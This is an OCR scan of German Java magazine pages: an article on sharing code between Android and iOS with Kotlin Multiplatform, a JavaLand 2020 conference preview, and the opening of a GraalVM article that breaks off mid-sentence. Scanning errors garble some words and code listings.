Im Mai 2019 hat Google auf einer hauseigenen Entwickler-Konfe-
renz Google I/0 Kotlin als die bevorzugte Sprache fiir Android dekla-
riert — und das nur ein Jahr, nachdem Kotlin als unterstiitzte Spra-
che ins Portfolio genommen wurde. Inzwischen nutzt man die volle
Kraft der Sprache, was sich zum Beispiel in der Unterstiitzung von
Koroutinen in Jetpack Libraries zeigt. Es werden auch neue Wege ge-
gangen. Bei der Implementierung einer neuen Ul-Bibliothek Jetpack
Compose kommt ein neues Kotlin Compiler Plug-in zum Einsatz, das
Sprachkonstrukte erlaubt, die mit Java und Java-Annotationen nur
begrenzt moglich sind.

Das wachsende Okosystem von Kotlin ,first” Libraries, Blog-Beitra-
gen und Code-Beispielen weist nicht nur auf eine steigende Popula-
ritat bei Entwicklern hin, sondern auch auf eine lebendige Commu-
nity. Wenn es um die native Entwicklung fiir Android geht, hat Kotlin
bereits einen festen Platz eingenommen. Die Programmiersprache
spielt aber auch beim Codesharing eine bedeutende Rolle.

Die VVorteile von Kotlin wie Lesbarkeit, starke statische Typisierung,
Nullsicherheit und die hervorragende Interoperabilitat mit Java wer-
den bereits an anderen Stellen sehr gut beschrieben. In diesem Ar-
tikel werden wir uns auf das Thema Codesharing auf den mobilen
Plattformen fokussieren.

Codesharing mit Kotlin

Was muss man also machen, um moglichst viel Code zwischen den
mobilen Plattformen zu teilen? Wir schauen uns zuerst an, welche
Moglichkeiten Kotlin, Kotlin/Native und Kotlin Multiplatform bieten.
Danach schauen wir uns eine existierende Kotlin-Multiplatform-
App an.

Kotlin/Native und Kotlin Multiplatform

Kotlin/Native ist eine Technologie zum Kompilieren vom Kotlin-
Quellcode in einen nativen bindren Code, der ohne eine virtuelle
Maschine laufen kann. Es beinhaltet ein Backend fir LLVM und
native Implementierungen der Kotlin-Standard-Bibliothek fiir die
jeweilige Zielplattform. Auch Kotlin/Native verfolgt das Ziel, eine
exzellente Interoperabilitdt mit den existierenden Plattformen an-
zubieten. Am wichtigsten ist die Moglichkeit, die bestehenden C-
Bibliotheken aus Kotlin zu nutzen. Dies kann man mit dem Werk-
zeug ,.C Interop” erreichen, das alle notwendigen Dateien fiir Kotlin
schnell generieren kann.

Kompiliert als ein Apple Framework, bietet Kotlin/Native bidirek-
tionale Interoperabilitat mit Objective-C/Swift. Die bereits in Ob-
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jective-C geschriebenen Frameworks und Bibliotheken kdnnen im
Kotlin-Code benutzt werden. Die Kotlin-Module kdnnen umgekehrt
in Swift/Objective-C Code benutzt werden.

Mit Kotlin/Native konnen wir Kotlin-Code fiir unterschiedliche
Plattformen kompilieren. Wir konnen sogar native Bibliotheken
aus Kotlin aufrufen. Wie erreichen wir aber, dass man in Common
Code die Plattform-spezifischen Aufrufe Plattform-neutral ge-
staltet? Es bietet sich eine Losung mit Interfaces in Common Code
und deren Implementierungen in Plattform-spezifischen Modulen
an. Kotlin geht einen Schritt weiter und bringt mit den neuen re-
servierten Schlisselworten ,expected” und ,actual” einen Mecha-
nismus mit, der im Common Code die gewilinschten Methoden de-
finiert und auf den Zielplattformen die aktuelle Implementierung
nutzt. Zusatzlich ist es mit dem Schlisselwort ,alias” moglich,
schon bestehende Bibliotheken mit dem ,actual”-Schllsselwort
direkt einzubinden. Und das alles ohne zusatzliche Wrappers oder
Briicken. Genauso freut sich der Entwickler, der eventuell Stack-
traces lesen muss.

Als Beispiel zeigen wir, wie man mit dem ,expected/actual”-Kon-
strukt einfache Key/Value-Paare speichern kann. Als Erstes defi-
nieren wir eine einfache Klasse (siehe Listing 1), die Methoden zum
Lesen und Schreiben von String- und Boolean-Werten zur Ver-
fugung stellt. Die Android-spezifische Implementierung benutzt
.SharedPreferences” und ist in Listing 2 dargestellt. Listing 3 zeigt
die i0S-Variante.

Um mit Kotlin Multiplatform zu starten, ist es am einfachsten, mit
dem Assistenten flir neue Projekte in der aktuellen Version der In-
telli) IDEA von JetBrains anzufangen. In der Sektion ,Kotlin” wird
ein Mobile-Android- beziehungsweise i0S-Projekt-Template an-
geboten, das nicht nur entsprechende Gradle-Module und ,build.
gradle”-Dateien erzeugt, sondern auch die dazu notwendige Ord-
nerstruktur und Kotlin-Dateien mit Beispielen fiir die Nutzung von
.expected” und ,actual” Die Ordnernamen folgen einer verstandli-
chen Namenskonvention, anhand derer man darauf schlieRen kann,
dass es sich bei dem Ordner ,commonMain” beispielsweise um den
Teil mit Code zum Teilen handelt und bei ,iosMain" i0S-Gerate die
Zielplattform sind. Genauso sind die ,Codelabs” auf der offiziellen
Kotlin-Website mit den Schritt-flr-Schritt-Anleitungen zu emp-
fehlen /7]. Als Beispiel kann man sich die offizielle App zur Kotlin-
Konferenz von JetBrains ,Kotlinkof-app” /2/ anschauen, genauso
wie die ,DroidconKotlin“-App von Touchlab /3), die SQLDelight /4]
als Multiplatform-Bibliothek zum Speichern von Daten in SQlite-
Datenbank benutzt.

Konferenz-i0OS- und -Android-App

mit Kotlin Multiplatform

Um die Fahigkeiten von Kotlin Multiplatform zu zeigen, schauen
wir uns ein Open-Source-Projekt an: eine existierende native Kon-
ferenz-App aus dem DukeCon-Projekt /5. Anhand dieses Beispiels
konnen wir die Domain-Fachbegriffe noch verstandlicher machen.

Die App zeigt eine Liste mit Vortragen, gegliedert nach Konferenzta-
gen. Nach dem Klick/Touch auf einen Vortrag werden Details zu die-
sem angezeigt. Die App sollte auch ohne Internetverbindung (was
bei einer Konferenz ein nicht seltener Umstand ist) gespeicherte
Daten anzeigen. Weiterhin werden die Referenten, ihre Biografien
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und weitere Vortrage angezeigt. Damit haben wir die funktionalen
Anforderungen vereinfacht dargestellt. Um die gewtlinschte Funk-
tionalitat zu erreichen, muss schon einiges unter der Haube pas-
sieren. Die Konferenz-Daten werden aus dem Netzwerk geholt, in
Domain-Modelle umgewandelt, nach Tagen gefiltert und sortiert.
In dem Projekt werden bereits zwei unterschiedliche Backends un-
terstitzt. Fir den Offline-Einsatz werden die Daten zusatzlich lokal
abgespeichert.

App-Architektur

Die Softwarearchitektur einer App kann mal3geblich dazu beitra-
gen, wie viel von dem in Kotlin geschriebenen Code wiederverwen-
det werden kann. Beim Entwurf einer Softwarearchitektur fir ein
Kotlin-Multiplatform-Projekt steht neben den (blichen nicht-funk-
tionalen Anforderungen wie Lesbarkeit oder Wartbarkeit namlich
der hohe Grad an Wiederverwendbarkeit von Code im Vordergrund.
Eine einmal programmierte Losung spart nicht nur Aufwand nach
dem DRY-Prinzip (,Don't Repeat Yourself”), sondern kann so auch
eine hohere Qualitat und fachliche Korrektheit durch mehrfaches
Anwenden erreichen.

Daftir bieten sich Softwarearchitekturen an, die Abhangigkeiten von
dem Betriebssystem, dem App-Framework und den Ul-Libraries
minimieren. Dieser Ansatz empfiehlt sich auch unabhangig vom
Sharing, gerade bei Android-Apps, wo die JVM Unit Tests ohne And-
roid-Emulator deutlich schneller laufen.

expect fun ApplicationStorage(): ApplicationStorage

interface ApplicationStorage {
fun putBoolean(key: String, value: Boolean)

fun getBoolean(key: String, default: Boolean): Boolean

fun putString(key: String, value: String)
fun getString(key: String): String?

Listing 1: Deklaration in Common Code

actual fun ApplicationStorage():

object AndroidStorage : ApplicationStorage {
private val sharedPreferences by lazy f{
PreferenceManager

.getDefaultSharedPreferences(appAndroidContext)

}

override fun putBoolean(key: String, value: Boolean)

sharedPreferences.edit()
.putBoolean(key, value)
Lapply()
}

override fun getBoolean(key: String, default: Boolean):

sharedPreferences.getBoolean(key, default)

override fun putString(key: String, value: String)
sharedPreferences.edit()
.putString(key, value)
.apply()
}

Zusatzlich ist bei Kotlin-Multiplatform-Klassen darauf zu achten,
dass keine Abhangigkeiten aus dem java*-Paketbereich importiert
und genutzt werden. Die ausgezeichnete ,Kotlin Standard Library”
und die ,kotlinx"-Bibliotheken (Serialisierung und Koroutinen) ma-
chen es auch viel einfacher, da man keinen Multiplattform-fahigen
Ersatz fiir zum Beispiel RxJava oder Guava suchen muss. Viele hilf-
reiche Klassen und Methoden werden somit schon von Hause aus
mitgeliefert (Collections, Sequences oder Koroutinen).

Die Architektur, die wir fir die App gewahlt haben, ist stark an ,Clean
Architecture” von Uncle Bob /6] angelehnt. Die Tatsache, dass aus
Sicht der Clean Architecture das Android Framework nur am Rande
steht und der Fokus auf Entities und Use Cases in der Domain liegt,
macht es einfach, eine Umsetzung unabhdngig von der Plattform zu
gestalten. Die Koroutinen wiederum vereinfachen deutlich, wie man
mit dem Multithreading auf unterschiedlichen Plattformen umgeht.
Eine vereinfachte Struktur unserer App ist in zu sehen.

Das Herzsttiick ist die CommonlLib, die den Teil des Codes beinhaltet,
den man auf Android und iOS wiederverwenden kann. Koroutinen
und die ,kotlinx"-Serialisierung werden zusatzlich zur Kotlin Stan-
dard Library benutzt und in als ein wichtiger Baustein
dargestellt.

Durch eine weitere Trennung der Implementierung, die sich um
die Netzwerkkommunikation kiimmert und den Code, der fiir das

ApplicationStorage = AndroidStorage

Boolean =

override fun getString(key: String): String? = sharedPreferences.getString(key, null)

Listing 2: Android-Implementierung mit SharedPreferences
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actual fun ApplicationStorage():

internal class IosStorage : ApplicationStorage {

private val delegate: NSUserDefaults = NSUserDefaults.standardUserDefaults()

override fun putBoolean(key: String, value: Boolean) f{

delegate.setBool(value, key)
1

override fun getBoolean(key: String, defaultValue: Boolean): Boolean =
if (hasKey(key)) delegate.boolForKey(key) else defaultValue

override fun putString(key: String, value: String)
delegate.setObject(value, key)
}

override fun getString(key: String): String? = delegate.stringForKey(key)

private fun hasKey(key: String): Boolean = delegate.objectForKey(key) != null

ApplicationStorage = IosStorage()

Listing 3: i0S-Implementierung mit NSUserDefaults

Caching und die lokale Datenspeicherung zustandig ist, erzeugen
wir zwar einen kleinen Mehraufwand (zum Beispiel bei den notwen-
digen ModelMappers), erreichen dafiir allerdings die Freiheit, un-
terschiedliche Datenklassen fiir Netzwerk und Speicher zu nutzen.
Dies wiederum ermadglicht eine Austauschbarkeit von Kommuni-
kationsmodulen fiir unterschiedliche Konferenz-Backend-Systeme
mit unterschiedlichen Datentransfer-Objekten und Endpunkten. Bei
groReren Datenmengen kann man die Daten im lokalen Cache, zum
Beispiel mit einer SQLite-Multiplattform-Datenbank-Bibliothek wie

SQLDelight, speichern. In unserem einfachen Fall und bei den Da-
tenmengen, die bei einer tblichen Konferenz anfallen, speichern
wir direkt die deserialisierten Daten als ,String” in einem einfachen
persistenten Key/Value Store. Zum Absetzen von Netzwerk-Auf-
rufen hat sich die Multiplatform-Bibliothek ,ktor.io” von JetBrains
bewadhrt, die den Nutzer wahlen Idsst, welchen ,http client” er auf
der Zielplattform benutzen mdchte. So kommt bei Android ,Okht-
tp" zum Einsatz. Zusatzlich bringt ,ktor.io” weitere nette Funktionen
(Features) wie JSON-Deserialisierung oder Logging mit.

.

ul
K CommonlLib
Domane Presenter Data
Remote ’ ‘ Cache
K Plattform

‘ Kotlinx

Koroutinen

Serialisierung ]

Abbildung 1: App-Module (© Michal Harakal)
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Um die Verarbeitung von Datum und Zeit, was bei einer Konfe-
renz-App einen wichtigen Teil der Logik darstellt, muss man sich
noch selbst kiimmern. Das gewohnte Java-Date-API wurde mit
dem ThreeTen Backport zwar auch an altere Android-Gerate ge-
bracht, lauft aber weiterhin nur auf JVM und kann somit nicht
Teil der CommonLib werden. Als Lésung kommt wieder ,ktor.io”
zum Einsatz, das im ,utils”-Paket ein einfaches API zur Verfii-
gung stellt, das mit ein paar Extension-Methoden fiir das Projekt
ausreichend ist.

Die Prasentationsschicht ist mit einem ,Model View Presenter”
(MVP) und einer passiven View als Design Pattern umgesetzt.
Hierbei sind nicht nur die Modelle, sondern sogar die Presenter als
Multiplattform-Code implementiert. Somit sind nur die Views samt
Layout an der Zielplattform mit dazugehdrigem Ul-Framework und
der hauseigenen Sprache zu implementieren, wo man dann die vol-
le Kraft der nativen Plattform, wie zum Beispiel Animationen, ohne
Kompromisse und ohne zusatzliche Nachteile an der Performance
nutzen kann. Von Google wird auf Android eine Nutzung von ,Model
View ViewModel” (MVVM) als Design Pattern empfohlen, bei dem
die ,LiveData"- und ,LiveModel"-Klassen aus der Jetpack-Architek-
tur-Komponenten-Bibliothek stammen und die sich exzellent in den
Lebenszyklus einer mobilen App einbinden lassen. MVVM ist auch
fir i0S mit kleinen Anpassungen nutzbar.

Wir bauen die App

Nachdem wir gelernt haben, was die App macht und wie die App-
Architektur aussieht, untersuchen wir die Ordnerstruktur. Um ein
Kotlin-Multiplatform-Projekt zu bauen, eignet sich Gradle mit ent-
sprechenden Plug-ins am besten. Bei komplexeren Apps empfiehlt
es sich, naturlich abhangig von der angewendeten Software-Archi-
tektur, auch die Schichten und Features in separate Gradle-Module
zu unterteilen. Gradle 5.x bietet mit den Funktionen ,METADATA",
~composite build” und ,Bill Of Materials” (BOM) weitere wichtige
Instrumente, die die Entwicklung von Kotlin-Multiplatform-Pro-
jekten unterstiitzen.

CommonlLib ist ein separates Gradle-Modul und kann noch als ei-
genstandiges Artefakt ins Artefakte-Management-System publi-
ziert werden.

Fir Android und Java bieten sich Maven Dependencies an. Bei i0S
konnte man mit ,cocoapods” arbeiten, die inzwischen bereits in
dem Kotlin Multiplatform Gradle Plug-in direkt unterstitzt wer-
den. Die Anbindung der CommonLib in die Android- oder iOS-
App ist direkt moglich, genauso wie man es mit einer beliebigen
nativen Bibliothek machen wiirde. Mit Maven Dependencies bei
Android oder mit ,cocoapods” bei iOS. Dadurch, dass alle Gradle-
Module in einem Projekt liegen, kann man sie mit relativen Pfa-
den adressieren.

Freude teilen geht auch mit Kotlin Multiplatform
Die oben genannte Open-Source-Konferenz-App war bereits bei
mehreren Konferenzen im Einsatz und kann die Frage beantwor-
ten, ob es moglich und Uberhaupt sinnvoll ist, mit Kotlin Multiplat-
from mobile Apps zu entwickeln. Wie muss man vorgehen, um die
hochste Sharing-Quote zu erreichen? Wir haben folgende Antwor-
ten gefunden:
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. Mit Kotlin Multiplatform und dem Android Studio oder Intelli) ist

es jetzt schon moglich, native wiederverwendbare Komponenten
zu schreiben, die man in Android-Projekten entweder als Android
oder Java-Bibliotheken einbinden kann und als Objective C Xcode
Framework in einem XCode-Projekt.

. Kotlin als eine moderne Sprache weist viele Ahnlichkeiten mit

Apples eigener Sprache Swift auf, was das Erlernen fir iOS-
Entwickler deutlich vereinfacht und bei diesen auf grof3e Ak-
zeptanz stol3t.

. Esist nicht das Ziel, 100 Prozent des Codes zwischen den Platt-

formen zu teilen. Die Ul- und Plattform-spezifischen Teile mis-
sen weiterhin nativ an der jeweiligen Plattform entwickelt wer-
den. Hier konnen die deklarativen Ul-Frameworks von Google
und Apple (Swift Ul und Jetpack Compose) in baldiger Zukunft
Abhilfe schaffen.

. Mit Kotlin Multiplatform und einer pragmatischen Software-Ar-

chitektur ist es moglich, eine Wiederholung von Teilen des Codes
zu vermeiden.

Referenzen

(1]
[2]
(3]
(4]
(5]
(6]

https:/play.kotlinlang.org/hands-on/overview
https:/github.com/JetBrains/kotlinconf-app
https:/github.com/touchlab/DroidconKotlin
https:/github.com/cashapp/sqldelight
https:/github.com/dukecon/dukecon_mobile
https:/blog.cleancoder.com/uncle-bob/2012/08/13/
the-clean-architecture.html
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Jatumba und das grof3e
Wiedersehen der Community

Lisa Damerow, DOAG Dienstleistungen GmbH

Das Phantasialand in Briihl wird auch in diesem Jahr
wieder einmal flir drei Tage zum Java-Land - oder
besser gesagt zur Javaland, die diesmal vom 17. bis
19. Mdirz 2020 zur bereits siebten Ausgabe ihre Tore
offnet. Mehr als 2.000 wissbegierige Java-Begeisterte
aus aller Welt versammeln sich hier jedes Jahr, um
sowohl alte Bekannte als auch neue Gesichter zu
treffen, Wissen auszutauschen und gemeinsam
Spals und Lernen zu verbinden. Neben Bewdhrtem
gibt es natiirlich auch Neues zu entdecken, wie
beispielsweise neue Community-Aktivitdten,
Keynotes und den neuen Thementag ,Microservices”
Dieser Artikel gibt einen Einblick in die JavaLand
2020 und erléutert, was die Teilnehmer erwartet.

Das Programm

Auch in diesem Jahr ist das Herzsttlick der Javaland ein attraktives
Vortragsprogramm aus rund 120 Vortragen jeden Levels. Interna-
tional bekannte Top-Speaker sowie hochmotivierte Newcomer ge-
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ben in 13 Streams ihr Wissen aus dem Java-Themenkosmos zum
Besten. Sowohl beliebte Dauerbrenner als auch neue Technologien
und Ansdtze werden von ihnen naher unter die Lupe genommen
und beleuchtet. In der Eroffnungs-Keynote am Dienstag, die direkt
im Anschluss an die BegriiBung stattfindet, berichtet Arun Gupta,
Principal Technologist bei Amazon Web Services (AWS), mehr zum
Thema Chaos Engineering und darlber, welche Vorteile es bringt,
Dinge mit dieser neuen Testdisziplin absichtlich kaputt zu machen.
Auch die beliebte Community-Keynote hat wieder ihren festen Platz
im Programm eingenommen. Ein Blick in den Konferenzplaner auf
der JavalLand-Website /7/lohnt sich, denn es gibt viel zu entdecken!

Community-Aktivitaten und Ausstellung
Langeweile? Nicht auf der JavalLand! Die eigens von der Community
organisierten Aktivitdten auBerhalb der Vortragsrdume laden zum
gemeinsamen Lernen, Entdecken und Hacken ein. Zahlreiche Work-
shops bieten selbst Anfdangern genug Basis-Wissen, um mit ihrer
zukinftigen Lieblingstechnologie so richtig durchzustarten. Wie
ware es zum Beispiel mit einem Android-Programmiercrashkurs
oder einer Einflihrung in Property Based Resilience Testing? Alle, die
neben ihrem Geist auch ihren Korper fit halten mochten, kdnnen sich
beim JavalLand-Jogging, Kung-Fu oder #Freeletics ordentlich auspo-
wern. Das Beste daran: Diese Angebote sind im Rahmen der Konfe-
renzteilnahme kostenfrei.
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Wer sich fir Technologie-Ansatze und -Losungen grofser und mit-
telstandischer Firmen interessiert oder bei Gewinnspielen das ein
oder andere Goodie abstauben mochte, sollte einen Blick in die Aus-
stellung werfen. Auf zwei Stockwerken freuen sich rund 50 Ausstel-
ler aus aller Welt auf spannende Gesprache.

Kleine Entwickler ganz grof3
Beim JavalLand4Kids, das traditionell am Montag vor der JavalLand
stattfindet, dirfen sich die Entwickler von morgen wieder einmal so
richtig austoben. In eigens fiir Kinder und Jugendliche entwickelten
Workshops werden diese unter Aufsicht von Mentoren spielerisch
an das Programmieren herangefihrt.

Work hard, play hard: Nervenkitzel

und SpaR bei der Abendveranstaltung
Actionliebhaber und Adrenalinjunkies kommen bei der ,Open Park”-
Abendveranstaltung am Ende des ersten Konferenztages voll auf
ihre Kosten, denn der Freizeitpark wird zum Leben erweckt! Hier
stehen abenteuerlustigen Besuchern fiir einige Stunden ausge-
wahlte Attraktionen und Achterbahnen des Phantasialands zur
Verfligung. Da ist SpaR vorprogrammiert! Leckere Gratisspeisen
und -getranke sowie Live-Musik, die zum Tanzen und Feiern anregt,
machen diesen Ausklang zu einem Highlight, das man sich auf kei-
nen Fall entgehen lassen sollte.

Schulungs- und Thementag

Besonders wissensdurstige Teilnehmer, denen zwei Tage Konfe-
renzgeschehen noch nicht genug sind, haben wahrend des Schu-
lungstags am Donnerstag die Moglichkeit, in einem von acht
Hands-on-Workshops ihr Wissen themenspezifisch zu vertiefen. In

Java aktuell 01/20

kleineren Gruppen von maximal 30 Teilnehmern wird in einer Kom-
bination aus Theorie und reichlich Praxis ein bestimmtes Themen-
gebiet fokussiert und vermittelt.

Parallel zum Schulungstag findet erstmals ein Thementag rund um
Microservices statt. Hier berichten Anwender und Endkunden, unter
anderem die Deutsche Bahn und die Otto Group, tiber ihre bisheri-
gen Erfahrungen mit dieser Technologie. Danach wird bei den Deep-
Dive-Sessions der jeweiligen Firmen tiefer in die Thematik einge-
taucht. Zum Abschluss beantworten die Microservice-Experten in
einer Paneldiskussion alle Fragen, die den Teilnehmern unter den
Fingerndgeln brennen.

Praktische Informationen

Wer schon einmal die JavaLand besucht hat, weil3, dass die Park-
hotels Matamba und Ling Bao sehr beliebt und darum schnell
ausgebucht sind. Eine rechtzeitige Buchung direkt tiber die Ticket-
seite lohnt sich, um direkt in fuBlaufiger Entfernung vom Eingang
zu Ubernachten. Um den Javaianern die Anreise zu erleichtern,
gibt es einen Shuttleservice, der die Teilnehmer ab Montag vom
Hauptbahnhof Briihl und vom Flughafen Koln/Bonn abholt und
zum Phantasialand bringt. Weitere wertvolle Informationen, die
Anreise und Aufenthalt erleichtern, sind auf der Veranstaltungs-
website zu finden.

Wir freuen uns, euch auf der kommenden Javaland begriiRen zu
dirfen! Jatumba — hier wird die Community groRBgeschrieben.

Referenzen
https:/www.,javaland.eu/de/home/
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Eine JVM fur die Cloud:
die GraalVM

Karine Vardanyan und Stephan Rauh, OPITZ CONSULTING Deutschland

Seit Anfang 2019 sorgt Oracles neue Virtual Machine, die GraalVM fiir Aufsehen. Fiir Java-Entwickler ist sie ein
Ahead-of-Time-Compiler und verspricht, polyglott und hochperformant zu sein. Doch kann sie sich wirklich
gegen Javas Just-in-Time-Compiler durchsetzen? Welche Vor- und Nachteile bietet sie und wie schldgt sie sich
in der Cloud? In diesem Artikel werfen wir einen detaillierten Blick auf diese universelle Virtual Machine und was
man mit ihr so alles machen kann. Kann sie ihrem Namensbezug, dem heiligen Gral, gerecht werden?

3 O www.ijug.eu \\\/,




D ie Geschichte des Java-Compilers reicht tber zwanzig Jahre
zurlick. Die ersten Versionen von Java waren bemerkenswert
langsam. Mit der Veroffentlichung des HotSpot-Compilers im April
1999 dnderte sich die Situation. Beispielsweise zeigt eine Perfor-
mance-Messung /7], dass Java zwischen den Versionen 1.1.7 und
1.2 um den Faktor 40 schneller wurde. Wie so oft hangen die ge-
nauen Zahlen stark vom jeweiligen Anwendungsfall ab. Fest steht,
dass Java seinerzeit dramatisch schneller wurde. Es wurde erstmals
moglich, Performance-intensive Anwendungen, wie zum Beispiel
Text-Editoren, in Java zu schreiben. Beispielsweise hat das Soft-
ware-Unternehmen Borland seine IDE JBuilder im Jahr 1999 von
Delphi auf Java migriert.

Eine kurze Geschichte der Compiler

Der Compiler wurde auf eine damals sehr ungewdhnliche Weise
implementiert. Um den Unterschied zu erklaren, machen wir einen
kurzen Ausflug in die Geschichte.

Traditionelle Compiler tibersetzen Quelltext in Maschinencode. Erst
dadurch kann der Computer das Programm ausfiihren. Solch ein
Ahead-of-Time-Compiler (kurz: AOT-Compiler) braucht tiblicherwei-
se sehr lang zum Kompilieren, dafir lauft das Programm anschlie-
Rend sehr schnell. Programmiersprachen wie C und C++ verwenden
diesen Ansatz. Das macht sie pradestiniert fiir die Entwicklung von
Betriebssystemen, Computerspielen und ,embedded Systems":
Wenn ein Autofahrer bremst, hilft ihm mit groBer Wahrscheinlich-
keit ein C-Programm dabei.

Eine andere Strategie ist es, ein Programm zu schreiben, das den
Quelltext des Entwicklers direkt lesen und ausfiihren kann. Lange
Zeit wurde JavaScript so implementiert. Der Vorteil eines solchen In-
terpreters ist, dass der zeitfressende Kompilierschritt entfallt. Daftir
lauft das Programm sehr viel langsamer. In den 90er Jahren galt als
Faustregel, dass ein (interpretiertes) BASIC-Programm circa hun-
dert- bis tausendmal langsamer ist, als wenn es mit einem guten
C-Compiler geschrieben worden ware.

Die friihen Java-Versionen verwendeten eine dritte Strategie. Sie
Ubersetzten das Programm in einen ,Bytecode”. Das ist eine Pro-
grammiersprache, die von einem Interpreter ausgefiihrt wird, aber
sehr viel besser fiir die Arbeitsweise einer CPU optimiert ist als
der urspringliche Quelltext. Der Bytecode-Interpreter ist erheblich
schneller als ein normaler Interpreter und hat noch weitere Vorteile.
SUN hatte Bytecode-Interpreter fir viele verschiedene CPUs und
Betriebssysteme geschrieben. Java-Programme laufen heutzutage
auf einer Vielzahl von Plattformen — vom Grol3rechner Gber PC bis
zum Android-Handy. Sie werden fir eine ,virtuelle Maschine” ge-
schrieben; diese virtuelle Maschine wird fiir die jeweilige Zielhard-
ware angepasst und erlaubt es, ein und dasselbe Programm quasi
Uberall auszufiihren. Detailliertere Informationen lber Bytecode
sind im Blog des Autors Rauh /3/zu finden.

Der Just-in-Time-Compiler

Die virtuelle Maschine und das ,write once, run anywhere”-\Ver-
sprechen waren das Killer-Argument flr den Einsatz von Java. SUN
konnte den Bytecode also nicht durch einen traditionellen Compiler
ersetzen. Stattdessen wurde die virtuelle Maschine um den ,Just-
in-Time"-Compiler erganzt. Die Idee ist dabei, dass das Programm
erst wahrend der Programmausfiihrung kompiliert wird. Das kann
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man sich wie einen Cache vorstellen: Am Ende des Tages fiihrt der
Interpreter ebenfalls Maschinencode aus. Diesen Maschinencode
kann man cachen. Damit entfallt der zeitaufwendige Ubersetzungs-
schritt. Wenn ein Algorithmus zum ersten Mal ausgefiihrt wird, ist
er wie gewohnt langsam, bei der nachsten Wiederholung nimmt er
jedoch Fahrt auf.

Dieser Effekt ist sehr eindrucksvoll in der Performancemessung
sichtbar, die einer der Autoren (Stephan Rauh) vor einigen Jahren
auf seinem Blog /4] durchgeflhrt hat (siehe Abbildung 7). Die Grafik
zeigt auf der Y-Achse die Zeit, die der Testalgorithmus braucht. Auf
der X-Achse ist die Anzahl der Wiederholungen dargestellt. Bei jeder
Wiederholung wird der Algorithmus etwas schneller. Erst ab zehn-
tausend Wiederholungen andert sich nicht mehr viel.

Zwanzig Jahre Optimierungen

Abbildung 7 zeigt eines ganz deutlich: Es ist nicht bei dem einfa-
chen Cache geblieben. Der Compiler optimiert den Maschinencode
permanent. Er konzentriert sich dabei auf die Stellen, die oft auf-
gerufen werden, die quasi ,heiBgelaufen” sind. Er wurde konse-
quenterweise ,HotSpot-Compiler” getauft. Die Tipps und Tricks,
die der Hot-Spot-Compiler anwendet, sind duf3erst umfangreich.
Zu diesem Thema empfehlen die Autoren die Vortrage von Charles
Nutter /5], die unter anderem Loop Unrolling, Escape Analysis und
viele weitere Ideen umfassen.

Viele Getter und Setter in Programmen tberleben nicht lange. Sie
sind die ersten Opfer des ,Inlining". Der HotSpot-Compiler merkt,
dass die Getter und Setter nur triviale Logik enthalten, und er-
setzt sie kurzerhand durch den direkten Zugriff auf das Attribut.
Allein durch diesen kleinen Trick wird das Programm erheblich
effizienter.

Den Rest kdnnen wir uns denken: Im Laufe der letzten zwanzig Jah-
re wurde ununterbrochen am HotSpot-Compiler entwickelt. Java-
Programme laufen heute erheblich schneller als friiher. Auch das
sehen wir an der Grafik, die die Entwicklung zwischen Java 1.2 und
Java 1.7 zeigt. In der Zeit danach ist die Entwicklung keineswegs
stehengeblieben. Laut Open Hub hat der Compiler von Java 7 gan-
ze 734.000 Zeilen, der Compiler von Java 9 bereits 1,34 Millionen.
So beeindruckend der Erfolg der HotSpot-JVM ist, sie ist vermutlich
nicht der richtige Ort, um radikal neue Ideen auszuprobieren. Das
Risiko ist einfach zu grof3, und es diirfte auch gar nicht so einfach
sein. Cliff Click — einer der Entwickler des HotSpot-Compilers C2 —
sagt [11, Folie 40], dass er heutzutage keinen Compiler mehr in C
oder C++ schreiben wiirde. C++-Programme neigen dazu, komplex
und schwer wartbar zu werden. Laut Chris Seaton /9] ist der C2-
Compiler — wie nach 20 Jahren nicht anders zu erwarten — schwer
zu warten und zu erweitern.

Polyglot Programming

Dabei gibt es durchaus wichtige Entwicklungen, die regelrecht nach
einem neuen Compiler rufen. Vor einigen Jahren wurde beispiels-
weise die Idee des ,isomorphen JavaScript” popular. Fast alle Be-
nutzeroberflachen werden heutzutage in JavaScript implementiert.
Auf dem Server hat sich dagegen Java etabliert. Fiir Entwickler von
Eingabeformularen ergibt sich damit ein Problem. Sie miissen Vali-
dierungen und Plausibilitaten doppelt implementieren. Einmal auf
dem Client — um dem Anwender sofortiges Feedback zu geben —
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Abbildung T: Performancegewinne durch den JIT-Compiler im Laufe der Zeit (© Stephan Rauh)

und zum anderen aus Sicherheitsgriinden auf dem Server. Es ware
also schon, auch auf dem Server JavaScript ausfiihren zu konnen.
Dann wirde eine Implementierung reichen.

Mit den Projekten Nashorn und Rhino gibt es diese Moglichkeit in
aktuellen Java-Projekten. JavaScript fuhlt sich in diesen Umgebun-
gen aber immer noch wie ein Fremdkadrper an und die Performance
reicht nicht an die im Browser heran.

Polyglot Compiler

Hier kommt die GraalVM ins Spiel. Streng genommen ist der Name
.GraalVM" irrefiihrend: Aus Sicht eines Java-Entwickler handelt
es sich um einen neuen Compiler. Der Rest der JVM wird unver-
andert weiterverwendet. Man kann mit der GraalVM jedoch auch
JavaScript-Anwendungen laufen lassen. In diesem Fall fiihlt sich
die GraalVM so an, als ware sie ein Ersatz fir Node.js und fir
npm. Bei Experimenten haben die Autoren es sogar geschafft, die
Angular-CLI zu installieren. Sie konnten mithilfe der CLI ein Angu-
lar-Programm bauen und kompilieren. Das lasst hoffen, dass die
Warnungen beziiglich der Node js-Kompatibilitat auf der GraalVM-
Homepage /8] libertrieben sind.

Als ware das noch nicht spannend genug, bietet die GraalVM auch
Support fiir Python, R, Ruby, Scala und den LLVM-Bitcode. Das
wiederum bedeutet, dass auch Sprachen wie C/C++ und Rust auf
der GraalVM laufen, wenn auch tber den Umweg eines LLVM-
Compilers.

Language-Agnostic Compiler

Diese Programmiersprachen kommen aus denkbar unterschiedli-
chen Traditionen. Einige dieser Sprachen sind schon aus der JVM-
Welt bekannt. Scala und JRuby generieren Bytecode und kénnen

@CoreMethod(names "+", required = 1)
public abstract static class AddNode
extends BignumCoreMethodNode {

@Specialization
protected Tong addWithOverflow(int a, int b) {
return (long) a + (long) b;
}
}

Listing 1
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damit auf der JVM laufen und — innerhalb gewisser Grenzen — sogar
mit Programmteilen, die in anderen Sprachen geschrieben wurden,
zusammenarbeiten. Ganz reibungslos war das allerdings nie: Die
JVM ist und bleibt fiir Java optimiert und mit Ausnahme des Byteco-
des invokedynamic wurde die JVM nie fiir andere Programmierspra-
chen erweitert. Das zwingt die Sprachentwickler zu Klimmzigen, die
sich typischerweise in der Performance und/oder dem Speicherver-
brauch niederschlagen.

Die GraalVM geht einen anderen Weg. Auch hier gibt es wieder
